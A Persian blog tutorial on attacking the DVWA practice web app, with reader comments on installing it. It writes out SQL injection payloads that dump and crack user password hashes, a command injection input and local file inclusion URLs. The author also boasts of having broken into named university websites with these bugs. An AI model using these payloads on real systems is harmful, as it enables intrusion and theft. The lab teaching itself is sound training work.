سلام خدمت دوستان در مقاله قبلی در مورد نرم افزار های مورد نیاز و امنیت در نرم افزار های تحت وب و بررسی خطا های Sql injection صحبت کردیم حال به ادامه مبحت معرفی و استفاده از باگ ها در محیط شبیه سازی شده را شروع میکنم
استفاده از باگ ها
حالا به استفاده از باگ های ارائه شده موجود میپردازیم. جهت تمرین از یک وبسایت شبیه سازی شده به نام DVWA استفاده میکنیم که میتوانید از آدرس زیر آخرین ورژن آن را دانلود کنید .
البته این برنامه در نسخه های لینوکسی مثل Kali-linux یافت میشود . در ضمن پس از دانلود شما باید با برنامه XAMPP این فایل رو آپ کنید و بعد در مرورگر سیستم خود از آن استفاده کنید یعنی فایل رو پس از دانلود تو مسیر زیر قرار دهید و همچنین اون دسته از دوستان که با این سرویس آشنا نیستن میتونن به لینک های زیر مراجعه نمایند .
c:\xampp\htdocs
صفحه ورود سیستم DVWA
جهت ورود به سیستم میتوانید از نام کاربری و گذرواژه زیر استفاده کنید.
[Username] : admin [Password] : password
صفحه اصلی سیستم DVWA
از منوی سمت چپ میتوانید باگ مورد نظر خود را انتخاب کرده و شروع به تست کنید. ابتدا روی DVWA Security کلیک کرده و Security Level را روی Low قرار دهید .
SQL Injection
جهت انجام این آزمون روی دکمه مربوطه کلیک نمایید تا صفحه ای مشابه به شکل زیر را ببینید.
بخش SQL Injection سیستم
مراحل کار را به ترتیب انجام دهید و نتیجه را مشاهده کنید.
- بخش مربوط به شناسایی باگ
1 1’ or 1=1 1’ or 1=1#
بعد از اجرای آخرین دستور به تمام داده های موجود قابل نمایش دست پیدا خواهید کرد.
- پیدا کردن تعداد ستونها
1' order by 10 # 1' order by 5 # 1' order by 2 # 1' order by 3 #
همانطور که مشاهده می شود، تعداد ستونها 2 می باشد.
- نمایش ستونهای آسیب پذیر
1' union select 1,2 # -1' union select version(),database() #
همانطور که مشاهده می شود، هر دو ستون آسیب پذیرند زیرا ورژن و نام دیتابیس مورد استفاده در وبسایت را به ما می دهند. با توجه به شکل زیر اطلاعات سطر اول ورژن دیتابیس (5,5,32) و سطر بعدی نام دیتابیس (dvwa) می باشد.
نمایش ستون های آسیب پذیر در سیستم
- به دست آوردن نام جدول
درصورتی که ورژن بدست آمده از مرحله قبل از 5 بیشتر باشد میتوان از information_schema استفاده کرد .
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #
بدست آوردن نام تیبل های موجود در دیتابیس سیستم
همانطور که مشاهده می شود، نام جداول guestbook و users می باشد .
- به دست آوردن ستونهای یک جدول
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #
بدست آوردن نام ستون های یک جدول
- بیرون کشیدن اطلاعات یک جدول
-1' union select group_concat(user,' : ',password,'
'),' ' from users #
دریافت اطلاعات نام کاربری و گذرواژه سیستم
همانطور که مشاهد می شود، به راحتی اطلاعات نام کاربری و گذرواژه تمام افراد بدست آمد.
admin : 5f4dcc3b5aa765d61d8327deb882cf99 gordonb : e99a18c428cb38d5f260853678922e03 1337 : 8d3533d75ae2c3966d7e0d4fcc69216b pablo : 0d107d09f5bbe40cade3de5c71e9e9b7 smithy : 5f4dcc3b5aa765d61d8327deb882cf99
توجه شود که گذرواژه ها بصورت MD5 HASH شده می باشند.
نتیجه بدست آمده بصورت زیر می باشد.
5f4dcc3b5aa765d61d8327deb882cf99 MD5 : password e99a18c428cb38d5f260853678922e03 MD5 : abc123 8d3533d75ae2c3966d7e0d4fcc69216b MD5 : charley 0d107d09f5bbe40cade3de5c71e9e9b7 MD5 : letmein 5f4dcc3b5aa765d61d8327deb882cf99 MD5 : password
در نهایت به این اطلاعات دست پیدا کرده اید.
admin : password gordonb :abc123 1337 : charley pablo : letmein smithy : password
وبسایت های داخلی که به شخصه در گذشته به وسیله همین باگ ها مورد نفوذ قرار گرفتن وبسایت هایی مانند دانشگاه های علوم تحقیقات، تهران مرکز، آزاد خمین و ... میباشد.
وبسایت دانشگاه تهران مرکز
(Command Injection (rce
برای آزمون این باگ وارد بخش مربوطه شوید. حالا بطور مثال IP خودتان را وارد کنید (127.0.0.1)
اطلاعات مربوط به Ping 127.0.0.1
حال به کد دقت کنید
{$cmd}
"; ?>
حال به جای وارد کردن IP خالی دستور زیر را وارد میکنیم.
127.0.0.1|dir 127.0.0.1|dir e: 127.0.0.1|dir c: 127.0.0.1|dir d:
به این ترتیب میتوان به فایلهای مختلف دست پیدا کرد .
( File Inclusion ( lfi \ rfi
ابتدا وارد قسمت مربوطه شوید.
http://localhost:port/DVWA/vulnerabilities/fi/?page=file1.php
همانطور که مشاهده میشود، در انتهای آدرس فایل یک ، php درحال خواندن و نمایش میباشد.
تست LFI
http://localhost:port/DVWA/vulnerabilities/fi/?page=C:\Windows\System32\dri vers\etc\hosts
آسیب پذیر بودن سیستم نسبت به باگ LFI
همانطور که مشاهده میشود اطلاعات موردنظر قابل مشاهد می باشد.
تست RFI
http://localhost:port/DVWA/vulnerabilities/fi/?page=http://google.com
عدم آسیب پذیری RFI
طبق نتایج میتوان فهمید که این آسیب پذیری وجود ندارد، علت هم قابل مشاهده می باشد
https:// wrapper is disabled in the server configuration by allow_url_include=0
اجازه دسترسی به //: https بسته شده است.به نظرم تا به این جا کافیست در ادامه تبدیل LFI به XSS رو توضیح خواهم داد دوستان بازم تاکید میکنم که مطالب جنبه آموزشی دارد تا اون دسته از دوست دارن این عرصه بتونن با این جور متد ها آشنایی کامل پیدا کنن.
ممنونم از به اشتراک گذاری دانشتون ، حتما مفید هست
واقعا عالی بود مهندس ، چون از آنجا که به راحتی نمی توان سایت های آسیب پذیر را پیدا کرد همیشه دغدغه تست و یادگیری را داشتم ، اما ظاهرا با DVWA به راحتی می توان تست نفوذ پذیری و پیدا کردن حفره های امنیتی را یاد گرفت.
بعد از اینکه این شبیه ساز رو معرفی کردین ، سریع اقدام کردم واسه نصبش ولی هنگام نصب با دو مشکل مواجه شدم و بابتشون راه حلی پیداکردم برای همین لازم دونستم برای ITpro هایی که میان این مقاله را می خونن به اشتراک بزارم.
اونم اینکه بعده نصب XAMPP آپاچی اجرا نمی شد اونم بخاطر اینکه دو پورت 80 و 443 توسط یه نرم افزاری رو سیستمم مشغول بود که باید این دو پورت را در XAMPP تغییر بدین.
طبق تصویر بالا باید 2 فایل موجود در دایرکتوری XAMPP را تغییر بدین، یعنی بعده باز کردن از طریق notepad هرجا عدد 80 و 443 دیدین باید به یک عدد دیگر تغییر پورت داده شود( می تونید از Replace نوت پد استفاده کنین)
مشکل دوم هم بعد از قرار دادن فایل dvwa در مسیر c:\xampp\htdocs و رفتن به مسیر زیر صفحه لاگین برایم نمایش داده نمی شد
که باید به این مسیر رفته
و یک دیتابیس مطابق تصوی زیر بسازید
و در آخر بارفتن به این مسیر
فایل config.inc را مطابق تصویر ویرایش میکنیم
امیدوارم برای تمام ITPRO ها مفید باشه
خواهش میکنم محمد جان
امیدوارم مطالب پرفکت تری در اختیار شما دوستان قرار دهم مثل آموزش نوشتن Exploit و....
عالی بود مهندس ، دوستان میدونن من تا از یک مطلبی واقعا لذت نبرم Comment نمیزارم ، این مطلب و به ویژه DVWA خیلی می تونه تو حوزه آموزشی کمک کنه ، من Damn Vulnerable Linux و Damn Small Linux و OWASP Broken Web Applications Project استفاده می کردم و این یکی رو هنوز تست نکرده بودم و برام جالب بود ، آموزش ITPRO یی بود واقعا ..